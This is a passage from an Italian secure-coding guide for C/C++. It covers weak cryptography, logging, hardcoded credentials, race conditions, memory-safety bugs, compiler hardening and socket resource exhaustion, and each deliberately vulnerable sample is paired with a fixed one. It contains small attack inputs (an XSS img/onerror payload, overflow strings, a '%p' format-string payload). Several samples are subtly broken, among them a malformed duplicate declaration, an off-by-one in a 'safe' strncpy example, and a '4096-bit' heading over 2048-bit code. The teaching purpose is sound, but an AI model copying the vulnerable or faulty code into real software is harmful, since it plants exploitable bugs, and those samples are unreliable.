L'utilizzo di algoritmi o chiavi di cifratura poco robusti può pregiudicare la confidenzialità e la privacy delle informazioni cifrate. Tendenzialmente, queste informazioni hanno una natura molto sensibile e possono consistere in credenziali, dati sanitari o bancari, etc.

Segue un esempio di codice che utilizza l'algoritmo *DES*, non più considerato sicuro in seguito ad attacchi di critto-analisi:

```
// Utilizzando CryptoPP
#include <cryptopp/des.h>

void encrypt() {
  CryptoPP::DES::Encryption(key, sizeof(key)); // Noncompliant
}


// Utilizzando OpenSSL
#include <openssl/evp.h>

void encrypt() {
  EVP_des_cbc(); // Noncompliant
}


// Utilizzando Botan
#include <botan/cipher_mode.h>

void encrypt() {
  Botan::Cipher_Mode::create("DES/CBC/PKCS7", Botan::ENCRYPTION); // Noncompliant
}
```

Una soluzione al precedente problema è quella di utilizzare algoritmi con modalità di funzionamento più robusti come, ad esempio, l'*AES* con modalità di funzionamento Galois/Counter (*GCM)*:

```
// Utilizzando CryptoPP
#include <cryptopp/des.h>

void encrypt() {
  CryptoPP::AES::Encryption(key, sizeof(key));
}


// Utilizzando OpenSSL
#include <openssl/evp.h>

void encrypt() {
  EVP_aes_128_gcm();
}


// Utilizzando Botan
#include <botan/cipher_mode.h>

void encrypt() {
 Botan::Cipher_Mode::create("AES-256/GCM", Botan::ENCRYPTION);
}
```

Di seguito una lista di algoritmi ormai deprecati:

- SHA1
- MD2
- MD4
- MD5
- RSA con chiave lunga 1024-bit o inferiore.
- DSA con chiave lunga 1024-bit o inferiore.
- ECDSA con chiave lunga 160-bit o inferiore.
- DES o Triple DES
- RC2
- SSL versioni 1.0, 2.0 and 3.0
- TLS versioni 1.0 and 1.1

Soluzioni più efficaci e ad oggi considerate sicure riguardano la scelta di algoritmi come **AES**, **SHA-512** e **SHA-3**, nonché di **TLS 1.2** e **TLS 1.3**.

Non è sufficiente utilizzare un algoritmo di crittografia robusto per garantire che le informazioni cifrate siano al sicuro. È importante utilizzare una chiave crittografica sufficientemente lunga.

Segue un esempio di generazione di una coppia di chiavi RSA insicure con lunghezza della chiave di 1024 bit:

```
# Utilizzando CryptoPP
#include <cryptopp/rsa.h>
#include <cryptopp/rng.h>

void encrypt() {
    CryptoPP::AutoSeededRandomPool  rng;
    CryptoPP::InvertibleRSAFunction rsa_trapdoor;

    rsa_trapdoor.GenerateRandomWithKeySize(rng, 1024); // Noncompliant
}


# Utilizzando OpenSSL
#include <openssl/rsa.h>

void encrypt() {
    RSA* rsa_key_pair = RSA_new();
    BIGNUM* exponent  = BSA_new();

    BN_set_word(exponent, RSA_F4);
    RSA_generate_key_ex(rsa_key_pair, 1024, exponent, NULL); // Noncompliant
}


# Utilizzando Botan
#include <botan/pubkey.h>
#include <botan/rng.h>
#include <botan/rsa.h>

void encrypt() {
    std::unique_ptr<Botan::RandomNumberGenerator>   rng(new Botan::System_RNG);
    Botan::RSA_PrivateKey  rsaKey(*rng, 1024); // Noncompliant
}
```

Segue un esempio di generazione di una coppia di chiavi RSA sicure con lunghezza della chiave di 4096 bit:

```
# Utilizzando CryptoPP
#include <cryptopp/rsa.h>
#include <cryptopp/rng.h>

void encrypt() {
    CryptoPP::AutoSeededRandomPool  rng;
    CryptoPP::InvertibleRSAFunction rsa_trapdoor;

    rsa_trapdoor.GenerateRandomWithKeySize(rng, 2048);
}


# Utilizzando OpenSSL
#include <openssl/rsa.h>

void encrypt() {
    RSA* rsa_key_pair = RSA_new();
    BIGNUM* exponent  = BSA_new();

    BN_set_word(exponent, RSA_F4);
    RSA_generate_key_ex(rsa_key_pair, 2048, exponent, NULL);
}


# Utilizzando Botan
#include <botan/pubkey.h>
#include <botan/rng.h>
#include <botan/rsa.h>

void encrypt() {
    std::unique_ptr<Botan::RandomNumberGenerator>   rng(new Botan::System_RNG);
    Botan::RSA_PrivateKey  rsaKey(*rng, 2048);
}
```

7 LOGGING & MONITORING

Il logging è un aspetto fondamentale della sicurezza informatica, poiché fornisce una traccia dettagliata delle attività di sistema che possono essere analizzate in caso di incidenti di sicurezza. Attraverso i log, gli amministratori di sistema possono identificare rapidamente e con precisione eventuali comportamenti anomali o tentativi di accesso non autorizzati, facilitando così la risposta agli incidenti e la prevenzione di future minacce. Inoltre, i log possono servire come prova legale in caso di indagini su violazioni dei dati, offrendo un supporto indispensabile nel contesto della conformità normativa.

7.1 Informazioni sensibili nei log

Essendo i file di log intesi per consultazioni successive all'avvenimento di un evento, ed essendo comunque file scritti sul file system del server, i dati contenuti in essi devono anche rispettare la privacy degli utenti

evitando di includere informazioni sensibili. Per sapere quali dati sono considerati sensibili e che pertanto vanno esclusi dai log è necessario consultare i regolamenti in materia (in unione europea, ad esempio, il GDPR su tutti).
Basti pensare che un file di log potrebbe essere esfiltrato o letto da personale non autorizzato per porre subito il punto sulle problematiche legali che questa condotta comporta.

L'esempio seguente mostra una implementazione errata di una stampa nei log, che include informazioni sensibili quali la password.

```
log("Tentativo di login con username: %s e password: %s", username, password);
```

Una struttura standardizzata utilizzata per formattare i record è la seguente:

- Timestamp
- Informazioni sull'utenza
- Evento che ha generato la scrittura della entry

Eventuali informazioni aggiuntive (stato del server, user agent, payload etc)

7.2 Mancata validazione o sanitizzazione dei log

Un file di log non è di per sé vulnerabile ad attacchi di mancata sanitizzazione o validazione, essendo un semplice file testuale. Tuttavia, il problema può presentarsi nel momento in cui questo viene consultato. Se il contenuto non subisce una validazione o sanitizzazione opportuna, e viene aperto ad esempio tramite un browser che legge il contenuto in formato text/html, il file diventa un vettore d'attacco per iniettare un payload malevolo.

Viene riportato un esempio vulnerabile.

```
2020-01-01 14:00:00 – Utente A scrive: <img src=x onerror=alert(1)>
```

Il file di log una volta ottenuto dal browser viene interpretato, eseguendo l'istruzione alert() e dando così vita ad un attacco XSS stored.

Per prevenire questi attacchi bisogna seguire le linee guida già definite nei capitoli che coprono Sanitizzazione e Validazione ed attacchi Injection.

7.3 Stato dell'arte

Per gli applicativi scritti in **C** sono disponibili le seguenti soluzioni:

- Zlog, distribuita con licenza Apache 2.0
- Syslog, disponibile nella Standard C library stslog.h

Si noti che la libreria log4c al momento della stesura del documento è deprecata. Pertanto, il suo utilizzo è altamente sconsigliato.

Per gli applicativi scritti in **C++** invece si notino:

- log4cxx, distribuita da Apache sotto licenza Apache 2.0 come controparte di log4j per C++
- glog, distribuita da Google con licenza BSD-3-Clause
- spdlog, distribuita con licenza MIT
- log4cpp, che fornisce i sorgenti pronti per la compilazione

- Boost.log, distribuita sotto licenza Boost Software License
- Easyloggingpp, distribuita con licenza MIT

8 INFORMAZIONI CONFIDENZIALI

Tutte quelle informazioni che sono classificate come confidenziali, le credenziali di accesso ad un sistema informatico su tutte, devono essere protette in maniera adeguata. Disporre di un forte algoritmo di autenticazione e verifica dell'identità potrebbe essere vano se le credenziali sono facilmente violabili

8.1 Credenziali Hardcoded

Le credenziali hardcoded nei programmi C e C++ rappresentano un serio rischio per la sicurezza perché possono essere facilmente scoperte da attori malintenzionati che esaminano il codice sorgente, il che può portare a violazioni dei dati e accessi non autorizzati.
Questo tipo di vulnerabilità è particolarmente pericoloso perché le credenziali sono spesso utilizzate per accedere a sistemi critici, come database o servizi cloud.

Inoltre, una volta che le credenziali sono esposte, possono essere utilizzate per eseguire una serie di attacchi, come l'escalation dei privilegi o l'esfiltrazione dei dati.

Al contrario, devono essere conservate lato server all'esterno del codice sorgente, centralizzate all'interno di una soluzione robusta e solamente dopo un processo di one-way hashing. Vengono proposte alcune alternative, le cui implementazioni e raccomandazioni possono differire in base alla tecnologia utilizzata:

- Variabili d'ambiente, salvate e gestite sul server;
- Secret Management System, come Azure Key Vault o AWS Secrets Manager;
- Database, per l'archiviazione delle utenze con relative credenziali.

Segue una lista di librerie (C++) che permettono l'integrazione con diversi sistemi vault:

- Secret Manager API - C++ Client - Google Cloud
- Azure Security Key Vault - C++ Client - Azure
- AWS Secrets Manager - C++ SDK - AWS

9 RACE CONDITIONS

Le **race conditions** sono un problema comune e critico nelle applicazioni multithread, dove due o più thread accedono e modificano dati condivisi simultaneamente. Questo può portare a risultati imprevedibili ed errori difficili da riprodurre, poiché l'ordine di esecuzione dei thread può variare.

Per esempio, se un thread verifica un valore (la "verifica") e poi agisce su di esso (l'"azione"), un altro thread potrebbe modificare il valore tra la verifica e l'azione, portando a risultati inaspettati.

Un **deadlock**, noto anche come stallo, è una situazione problematica in informatica che si verifica quando due o più processi si bloccano reciprocamente, aspettando a tempo indeterminato che l'altro rilasci una risorsa necessaria per proseguire. Questo avviene perché ciascun processo detiene già una risorsa che l'altro processo sta cercando di acquisire.

Per prevenire le race conditions ed i deadlock, è comune utilizzare meccanismi di sincronizzazione come i Lock o Mutex, che assicurano che solo un thread per volta possa accedere ai dati condivisi. Comprendere e identificare le race conditions è fondamentale per lo sviluppo di software robusto e affidabile.

9.1 Concorrenza

Il meccanismo di concorrenza nei programmi multithread è fondamentale per l'efficienza e la sicurezza informatica. In un ambiente multithread, diversi thread di esecuzione operano in parallelo, condividendo risorse comuni, il che può portare a condizioni di gara e a vulnerabilità se non gestite correttamente. La sincronizzazione tra i thread è quindi cruciale per prevenire conflitti e garantire l'integrità dei dati.

Dal punto di vista della sicurezza informatica, la programmazione concorrente richiede un'attenzione particolare alla protezione delle risorse condivise e alla prevenzione di attacchi come il *Deadlock* e il *Race Condition*, che possono essere sfruttati per compromettere i sistemi.

Implementare strategie di sicurezza robuste in ambienti multithread è quindi essenziale per proteggere le applicazioni dalle minacce informatiche e assicurare la resilienza dei sistemi. Si rimanda alla seguente documentazione per indicazioni tecniche ed esempi di corrette implementazioni in C e C++: Rec. 14. Concurrency (CON) - SEI CERT C Coding Standard - Confluence (cmu.edu) e Rule 10. Concurrency (CON) - SEI CERT C++ Coding Standard - Confluence (cmu.edu).

10 GESTIONE SICURA DELLA MEMORIA DI LAVORO

Operando con tecnologie di programmazione a basso livello, il compito della gestione della memoria di lavoro viene delegato al programmatore, il quale ha il compito di assicurarsi che tutte le operazioni su di essa rispettino la logica applicativa e non sfocino in comportamenti imprevisti.

Nota: Si tenga presente che gli scenari da considerare in fase di progettazione del codice **devono** tenere conto dell'architettura in uso, del sistema operativo, del compilatore e delle flag utilizzate in fase di compilazione, in quanto gli scenari di attacco, i payload di attacco, i risultati e le contromisure da attuare dipendono fortemente da questi.

10.1 Inizializzazione della memoria

Le variabili messe a disposizione del programma vengono allocate in memoria; pertanto, vanno gestite in maniera sicura fin dalla loro allocazione.

Per evitare di raccogliere valori "spazzatura" preesistenti in memoria che potrebbero causare seri problemi di sicurezza (si pensi ad una flag admin inizializzata in una cella non vuota), tutte le strutture ed i buffer devono

essere azzerati prima del loro utilizzo o riutilizzo. In base alla zona di memoria in cui la variabile è istanziata, la procedura è diversa.

Stack
Viene creato un buffer di 1024 elementi di tipo char, i cui valori vengono successivamente azzerati dall'istruzione *memset()*.

```
#include <stdio.h>

int main() {
    char buffer[1024];
    memset(buffer, 0, sizeof(buffer));

    /* . . . */

    return 0;
}
```

Heap
Viene creato un buffer di 5 elementi di tipo int*, i cui valori vengono istantaneamente azzerati dall'istruzione calloc().

```
#include <stdio.h>
#include <stdlib.h>

int main() {
    int n = 5;
    int *array;
    array = (int*)calloc(n, sizeof(int));

    /* . . . */

    return 0;
}
```

10.2 Value Overflow e Underflow

Overflow tradotto letteralmente significa "traboccamento". Sta ad indicare tutte quelle situazioni nelle quali una variabile o un registro della cpu riceve una quantità di dati maggiore di quella che può contenere. Si verifica nei casi in cui un'operazione matematica supera il limite superiore (overflow) o inferiore (underflow) dei valori che il registro o l'area di memoria può fisicamente memorizzare.

In C/C++ si gestiscono valori interi principalmente con i data types:

- **signed int**, definito in 4 bytes come [-2.147.483.648 , +2.147.483.647]
- **unsigned int**, definito in 4 bytes come [0 , +4.294.967.295]
- **long long**, definito in 8 bytes come [-9.223.372.036.854.775.808 , +9.223.372.036.854.775.807]

Si consideri il seguente esempio di value overflow, tenendo presente che le variabili di tipo short int sono definite da 16 bit nell'intervallo [-32768, +32767]:

```
#include <stdio.h>

int main() {
    short int c = 0;
    c = 0x7fff;
    printf("%hd\n", c);     // 32767
    c = c + 1;
    printf("%hd", c);       // -32768

    return 0;
}
```

Per prevenire le problematiche di value overflow/underflow bisogna considerare a priori diversi fattori:

- Determinare quale range di valori è il più indicato per una variabile
- Determinare se il valore deve essere signed o unsigned
- Se necessario, utilizzare o definire costanti che definiscano minimum e upper bounds da confrontare ad ogni operazione aritmetica sulla variabile

Quando si effettua aritmetica su valori numerici, bisogna tenere conto anche dei cast impliciti effettuati dal compilatore, che possono variare tra le diverse proposte disponibili sul mercato.

10.3 Buffer Overflow

La memoria di lavoro viene organizzata in blocchi logici che rispondono ad esigenze differenti durante la vita del processo. Tra questi ne esistono due dediti al salvataggio dell'input utente, e sono:

- lo **stack**: una struttura LIFO (Last In First Out) gestita automaticamente dal sistema sulla quale vengono aggiunte (push) e rimosse (pop) tutte quelle informazioni temporanee come gli argomenti di funzione, gli indirizzi di ritorno di funzione (utili per la gestione del flusso del processo) e le variabili locali. L'ordine e quindi la posizione di questi sono noti a priori, già in fase di compilazione. Pertanto, lo stack è definito come memoria statica;
- la **heap**: una sezione dinamica i cui dati sono allocati (malloc()) e deallocati (free()) esplicitamente a runtime dal programmatore, in funzione dell'input e della sua dimensione. È flessibile, per gestire grandi strutture dati, array e requisiti di memoria dinamica.

Dovendo salvare gli input utente, se lo spazio dedicato a questi non è gestito correttamente un attaccante è messo, nella peggiore delle ipotesi, nelle condizioni di sovrascrivere valori arbitrari presenti su stack o heap, come valori di variabili, o alterare il flusso del codice per eseguire istruzioni macchina da lui definite.
È comune per un attaccante creare una shell o interprete di comandi con cui poter interagire grazie all'injection di un payload particolare chiamato **shellcode**.

Per prevenire questo attacco, oltre a mettere in pratica tutte le contromisure riportate nel presente capitolo, è necessario prendere visione della sezione che tratta della compilazione.

10.4 Stack Overflow

Nel caso di **Buffer Overflow sullo stack** un attaccante ha a disposizione i parametri passati alla chiamata a funzione, l'indirizzo di ritorno alla funzione chiamante e le variabili locali sui quali poter basare il proprio

attacco. È fondamentale tenere in considerazione l'ordine per il quale questi valori sono collocati sulla memoria perché sia possibile calcolare quanto spazio separa un valore da un altro. Due valori definiti consecutivamente nel codice, infatti, è possibile vengano allocati in zone contigue di memoria.

Per poter effettuare un overflow che vada a sovrascrivere i valori sullo stack è necessario che sia presente una variabile, o buffer, che accetti input utente di lunghezza arbitraria e che la collochi in uno spazio di dimensione fissa senza effettuare alcuna verifica a priori della dimensione inserita. Così facendo, l'eccesso in lunghezza dell'input andrà a sovrascrivere la zona di memoria immediatamente successiva.

Viene proposto un esempio vulnerabile:

```
#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv)
{
    char buffer[4];
    int auth = 0;
    strcpy(buffer, argv[1]);    // Vulnerabile

    printf("buffer: %s\n", buffer);
    printf("auth: %d", auth);
    return 0;
}
```

Passando al programma la stringa "AABACA" come argomento argv[1], la variabile buffer potrà salvare solo i primi 4 caratteri per poi inevitabilmente andare a scrivere, nello spazio immediatamente successivo, il restante payload "CA".
Sapendo che i valori esadecimali dei caratteri ASCII 'C' ed 'A' sono 63 e 61, il valore della variabile auth in seguito all'overflow è 0x4341.

Le funzioni che non considerano la lunghezza del buffer di destinazione vanno evitate **sempre**:

- strcpy()
- wcscpy()
- sprintf()
- strcat()
- gets()
- scanf()
- vsprintf()
- wcscat()

Alternative sicure che vanno preferite alle precedenti, infatti, permettono di specificare e quindi gestire la dimensione della memoria a loro disposizione. La loro sicurezza dipende da una corretta interpretazione e specifica dei parametri da parte del programmatore:

- strncpy()
- wcsncpy()
- snprintf()
- strncat()
- vsnprintf()
- wcsncat()

- memcpy()
- memmove()
- memset()
- strxfrm()
- wcsxfrm()
- wmemset()
- wmemcpy()
- wmemmove()
- wcstombs()
- wcsrtombs()
- mbstowcs()
- mbsrtowcs()
- swprintf()
- vswprintf()

Viene quindi proposto un esempio sicuro:

```
#include <stdio.h>
#include <string.h>
#define SIZE 4

int main(int argc, char ** argv)
{
    char buffer[SIZE];
    int auth = 0;
    strncpy(buffer, argv[1], SIZE);      // Sicuro
    buffer[SIZE] = '\0';                 // Terminatore di stringa

    printf("buffer: %s\n", buffer);
    printf("auth: %d", auth);
    return 0;
}
```

Passando al programma la stringa "AABACA" come argomento argv[1], la variabile buffer verrà riempita solo dai primi 4 caratteri (l'ultimo carattere verrà rimpiazzato dal terminatore di stringa) evitando così di andare a scrivere, nello spazio immediatamente successivo, il restante payload "CA".
Il valore della variabile auth non viene alterato.

10.5 Heap Overflow

Nel caso di **Buffer Overflow sulla Heap** un attaccante ha a disposizione, oltre ai dati stessi allocati dal programmatore tramite, ad esempio, una chiamata a *malloc()*, tutti i metadati che risiedono sulla stessa heap e che servono per gestirne le strutture dati di allocazione dei chunk.

Come per la vulnerabilità che affligge lo stack, per poter effettuare un overflow che vada a sovrascrivere i valori sulla heap è necessario che sia presente una variabile, o buffer, che accetti input utente di lunghezza arbitraria e che la collochi in uno spazio di dimensione fissa senza effettuare alcuna verifica a priori della dimensione inserita. Così facendo, l'eccesso in lunghezza dell'input andrà a sovrascrivere la zona di memoria immediatamente successiva.

Viene proposto un esempio vulnerabile:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char ** argv)
{
    char* buffer = (char*)calloc(10, sizeof(char));
    int* flag = (int*)calloc(1, sizeof(int));

    int admin = 0;

    printf("buffer: %s\n", buffer);
    printf("admin: %d\n", *flag);

    *flag = admin;                                          // flag = 0
    strcpy(buffer, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0");   // Vulnerabile

    printf("buffer: %s\n", buffer);
    printf("admin: %d\n", *flag);                           // heap overflow: flag = 65

    return 0;
}
```

Nuovamente, le funzioni che non considerano la lunghezza del buffer di destinazione vanno evitate **sempre**:

- strcpy()
- wcscpy()
- sprintf()
- strcat()
- gets()
- scanf()
- vsprintf()
- wcscat()

Alternative sicure che vanno preferite alle precedenti, infatti, permettono di specificare e quindi gestire la dimensione della memoria a loro disposizione. La loro sicurezza dipende da una corretta interpretazione e specifica dei parametri da parte del programmatore:

- strncpy()
- wcsncpy()
- snprintf()
- strncat()
- vsnprintf()
- wcsncat()
- memcpy()
- memmove()
- memset()

- strxfrm()
- wcsxfrm()
- wmemset()
- wmemcpy()
- wmemmove()
- wcstombs()
- wcsrtombs()
- mbstowcs()
- mbsrtowcs()
- swprintf()
- vswprintf()

Viene quindi proposto un esempio sicuro:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define SIZE 10

int main(int argc, char ** argv)
{
    char* buffer = (char*)calloc(SIZE, sizeof(char));
    int* flag = (int*)calloc(1, sizeof(int));

    int admin = 0;

    printf("buffer: %s\n", buffer);
    printf("admin: %d\n", *flag);

    *flag = admin;                                                  // flag = 0
    strncpy(buffer, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", SIZE);  // Sicura
    buffer[SIZE-1]=0;                                               // Terminatore di stringa

    printf("buffer: %s\n", buffer);
    printf("admin: %d\n", *flag);                                   // flag = 0

    return 0;
}
```

10.6 Utilizzo dei puntatori

La tecnologia C/C++, operando a basso livello, permette di lavorare con un tipo di dato chiamato puntatore, che ha una lunghezza fissa a prescindere dal tipo di dato che sta puntando in quanto il suo valore è un indirizzo di memoria all'interno del processo.
Pur ampliando le funzionalità del linguaggio, si vedano i passaggi di variabile per puntatore rispetto ai più semplici passaggi per valore, i puntatori vanno trattati accuratamente per evitare problematiche di sicurezza.

Uno scenario di esempio che nasce da un'errata gestione dei puntatori è chiamato **Use After Free (UAF)**. A differenza degli attacchi di overflow che si basano sullo spazio, lo UAF si basa interamente sul tempo.
In questo scenario, un puntatore referenzia una variabile già deallocata dalla memoria permettendo di sovrapporsi alla nuova variabile che verrà allocata in un secondo momento nello stesso punto.

Viene proposto un esempio di UAF applicato allo stack:

```
#include <stdio.h>

int * func()
{
    int num = 8080;
    return &num;
}

int main(int argc, char ** argv)
{
    int * p = func();       // Dangling pointer
    printf("%d", *p);       // 8080
}
```

Quando func() terminerà di essere eseguita, lo spazio allocato per num verrà liberato (ma non azzerato). Questo permette di accedere ancora al valore corretto di num, ma solo fino a quando quello spazio sullo stack non verrà sovrascritto da altri dati.
Un'alternativa possibile è quella di dichiarare la variabile num tramite la keyword static, la quale permette di preservarne lo stato anche quando la funzione ritorna e viene deallocata.

Viene proposta la versione sicura:

```
#include <stdio.h>

int * func()
{
    static int num = 8080;          // Sicura
    return &num;
}

int main(int argc, char ** argv)
{
    int * p = func();
    printf("%d", *p);               // 8080
}
```

Lo stesso concetto è applicabile alla memoria Heap, in cui l'ordine proposto nell'esempio di accesso alle funzioni di allocazione e deallocazione è errato e, pertanto, vulnerabile.

```
#include <stdio.h>
#include <stdlib.h>

int main() {
    int *foo = malloc(sizeof(int));      // Allocazione dello spazio sulla Heap
    *foo = 69420;                        // Assegnamento a foo

    printf("Value: %d\n", *foo);         // Accesso lecito a foo
    free(foo);                           // Liberazione dello spazio sulla Heap

    /* . . . */

    if(strcmp("SecretPassword", *foo)){          // Use After Free
       printf("Logged in!");
    }
    return 0;
}
```

Per mitigare le UAF sulla Heap si raccomanda di impostare a NULL i puntatori che sono appena stati liberati con free() così che non puntino più a zone di memoria non più utilizzate, come mostrato nella versione sicura qui sotto:

```
#include <stdio.h>
#include <stdlib.h>

int main() {
    int *foo = malloc(sizeof(int));      // Allocazione dello spazio sulla Heap
    *foo = 69420;                        // Assegnamento a foo

    printf("Value: %d\n", *foo);         // Accesso lecito a foo
    free(foo);                           // Liberazione dello spazio sulla Heap
    foo = NULL;                          // Il puntatore viene settato a NULL, non punta più alla heap

    /* . . . */

    return 0;
}
```

10.7 Format String

Un Format String Overflow si verifica quando un valore fornito dall'esterno, quindi non noto a priori, viene usato all'interno di una funzione di stampa. Di seguito vengono elencate le funzioni vulnerabili:

- printf()
- fprintf()
- sprintf()

- snprintf()
- vprintf()
- vfprintf()
- vsprintf()
- vsnprintf()
- scanf()
- fscanf(),
- sscanf()
- vscanf()
- vsscanf()
- vfscanf()
- wprintf()
- fwprintf()
- swprintf()
- vwprintf()
- vfwprintf()
- vswprintf()

```
#include <stdio.h>
#include <stdlib.h>

int main() {
    int secret = 0x12345    int secret = 0x123;
    char buffer[50];

    printf("Inserisci una stringa: ");
    fgets(buffer, sizeof(buffer), stdin);

    printf("Hai inserito: ");
    printf(buffer);                    // Vulnerabile

    return 0;
}
```

Si supponga che l'attaccante fornisca come valore per la variabile *buffer* il payload "%p"x15. Poiché printf ha un numero variabile di argomenti, deve utilizzare la stringa di formato per determinare il numero di argomenti. Nel caso precedente, l'aggressore può ingannare printf facendogli credere di avere 15 argomenti e stamperà ingenuamente i successivi 15 indirizzi sulla pila.

La versione sicura, in cui il formato di stampa è fornito direttamente dallo sviluppatore, è riportata di seguito:

```
#include <stdio.h>
#include <stdlib.h>

int main() {
    int secret = 0x12345    int secret = 0x123;
    char buffer[50];

    printf("Inserisci una stringa: ");
    fgets(buffer, sizeof(buffer), stdin);

    printf("Hai inserito: %s", buffer);                // Sicura

    return 0;
}
```

11 COMPILAZIONE

La fase di compilazione permette la traduzione del codice ad alto livello C/C++, comprensibile quindi semanticamente da una persona, ad un equivalente codice a basso livello comprensibile dal processore per mezzo di un compilatore.

Pur essendo questa fase automatizzata, è necessario specificare quali contromisure di sicurezza il file compilato deve integrare al suo interno, così che gli attacchi noti possano essere efficacemente contrastati.

11.1 Tecniche di difesa

Allo stato dell'arte esistono numerose e testate contromisure ad un'ampia platea di vulnerabilità informatiche che affliggono i file eseguibili o compilati. Vengono qui proposte le principali, la cui implementazione può differire da un compilatore ad un altro.

Address Space Layout Randomization - ASLR
La randomizzazione degli indirizzi di un compilato permette di prevenire l'exploitation di vulnerabilità legate alla corruzione della memoria. Questo per evitare che il programma sia indotto a chiamare funzioni presenti in predeterminate (quindi note) posizioni all'interno dello spazio di memoria del processo.

Canary
In risposta agli attacchi Stack Overflow, in fase di compilazione si è reso necessario inserire un valore randomico chiamato Canary che, posto sullo stack di attivazione della funzione, termina autonomamente il programma se sovrascritto. Funziona come garante a guardia della genuinità del return address.

Bounds Checking
La tecnica chiamata Bounds Checking aggiunge informazioni a run-time sui limiti spaziali per ogni blocco di memoria allocato e i relativi puntatori. In questo modo ci si accerta che l'accesso alle zone di memoria sia ristretto ai limiti prestabiliti.

Control Flow Integrity - ROP Mitigation
Il Return Oriented Programming è una vulnerabilità per la quale un attaccante è in grado di dirottare il flusso di codice (sovrascrivendo il return address o più in generale alterando il valore del registro eip) andando così ad eseguire istruzioni accuratamente selezionate che già sono presenti in memoria, ma con il fine di ottenere

una porta d'accesso al sistema. L'attacco bypassa la mitigation "Tagging" NX, dato che si sfruttano le istruzioni già presenti in memoria.
Il Control Flow Integrity è un grafo di controllo del flusso che traccia gli stati e le chiamate genuine del programma. Se durante la vita del processo viene fatta una chiamata che non rispetta la struttura del grafo, questa viene interpretata come tentativo di hijacking malevolo.

Tagging
La causa principale per la quale gli attaccanti riescono a sfruttare i buffer overflow per eseguire codice arbitrario come lo shellcode è nota come *channel problem*. I dati utente e la logica applicativa, risiedendo sullo stesso canale condiviso, possono interferire l'un l'altro.
Marcando certe aree di memoria come non eseguibili (**NX**) si previene che i dati inseriti dall'utente possano essere interpretati dalla cpu.
Marcando altre aree di memoria come non allocate si prevengono i buffer overflow.

Architettura
Definire correttamente l'architettura di destinazione permette di sfruttare al massimo lo spazio a disposizione del processo. Se la randomizzazione degli indirizzi è attiva, lo spazio di indirizzamento aumenta considerevolmente in un'architettura a 64 bit.

Stampa degli errori
I messaggi di errore o warning forniti dal compilatore possono essere una miniera d'oro quando si tratta di individuare falle nel codice. Si noti che solo gli errori relativi alle regole del linguaggio possono essere individuati, gli errori logici sono a carico dello sviluppatore.

Non esiste una configurazione universalmente valida e sicura che possa essere valida per tutte le compilazioni. Si raccomanda quindi di definire i requisiti del proprio software e le possibilità messe a disposizione dal compilatore, così da agire di conseguenza.

Sanitizzazione
Nel seguente progetto Google, vengono messi a disposizioni diversi strumenti di sanitizzazione utili per migliorare il livello di sicurezza di un programma C/C++: Google Sanitizers.
Per poter utilizzare questi strumenti, è necessario aggiungere delle opzioni in fase di compilazione

Ad esempio, per utilizzare l'**AddressSanitizer**, si aggiunge l'opzione *-fsanitize=address*. L'AddressSanitizer permette di individuare i seguenti problemi di sicurezza relativi alla gestione della memoria:

- Use after free
- Heap buffer overflow
- Stack buffer overflow
- Global buffer overflow
- Use after return
- Use after scope
- Initialization order bugs
- Memory leaks

Con l'opzione *-fsanitize=leak* è possibile abilitare il tool **LeakSanitizer**. Questo tool permette l'individuazione di memory leaks.

Il tool **MemorySanitizer** permette di individuare operazioni di lettura di memoria non inizializzata ed è utilizzabile con l'opzione *-fsanitize-memory-track-origins*.

Attraverso il tool **ThreadSanitizer** è possibile identificare condizioni di accesso concorrenziale a dati all'interno di programmi multithreaded. È attivabile con l'opzione *-fsanitize=thread*.

È importante notare che l'uso di questi strumenti può rallentare notevolmente l'esecuzione del programma e aumentare il suo utilizzo di memoria, ma i benefici in termini di sicurezza e stabilità del codice sono significativi.

12 DENIAL OF SERVICE (DoS)

Un attacco Denial of Service (DoS) è un tipo di attacco informatico mirato a rendere un servizio, una rete o un sistema inaccessibile agli utenti legittimi. Questo viene realizzato sovraccaricando il sistema con un'enorme quantità di traffico o richieste, fino a quando non riesce più a gestirle e diventa non operativo.

12.1 Saturazione delle risorse

Quando un programma o un'applicazione non dealloca correttamente le risorse di sistema come la memoria o gli handle dei file dopo che non sono più necessari, possono verificarsi varie vulnerabilità. Ciò può infatti causare l'esaurimento delle risorse di sistema, con conseguenti problemi di prestazioni e possibili arresti anomali. Può anche lasciare il sistema aperto ad attacchi che sfruttano queste risorse.

La maggior parte delle problematiche legate al loro mancato rilascio si traduce in problemi generali di affidabilità del software. Di conseguenza, è essenziale liberare gli asset di sistema per evitare potenziali perdite di memoria e Denial of Services dovuti alla loro saturazione.

12.1.1 Socket di rete

In condizioni normali, il codice seguente chiude correttamente il socket e tutti i flussi associati. Tuttavia, se si verifica un'eccezione durante la lettura dell'input o la scrittura dei dati, l'oggetto socket non viene chiuso. Se questo accade abbastanza spesso, il sistema esaurirà i socket e non sarà in grado di gestire altre connessioni.

```
sockfd = socket(AF_INET, SOCK_STREAM, 0);

// Esegui le operazioni
…

close(sockfd);
```

Segue un esempio di codice C in cui la chiusura della socket viene implementata gestendo tutte le possibili casistiche di errore:

```
int sockfd;
struct sockaddr_in server_addr;

// Creazione del socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
    perror("Errore nella creazione della socket");
    exit(EXIT_FAILURE);
}
// Impostazione degli attributi del server
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(7799);
server_addr.sin_addr.s_addr = INADDR_ANY;

// Associazione del socket all'indirizzo del server
if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
    perror("Errore nell'associazione della socket");
    close(sockfd);
    exit(EXIT_FAILURE);
}

// Ascolto per le connessioni in entrata
if (listen(sockfd, 5) < 0) {
    perror("Errore nell'ascolto della socket");
    close(sockfd);
    exit(EXIT_FAILURE);
}

// Accettazione di una nuova connessione
int client_sockfd;
struct sockaddr_in client_addr;
socklen_t client_len = sizeof(client_addr);
client_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &client_len);
if (client_sockfd < 0) {
    perror("Errore nell'accettazione della connessione");
    close(sockfd);
    exit(EXIT_FAILURE);
}

// Chiusura del socket del client
if (close(client_sockfd) < 0) {
    perror("Errore nella chiusura della socket del client");
    close(sockfd);
    exit(EXIT_FAILURE);
}
// Chiusura del socket del server
if (close(sockfd) < 0) {
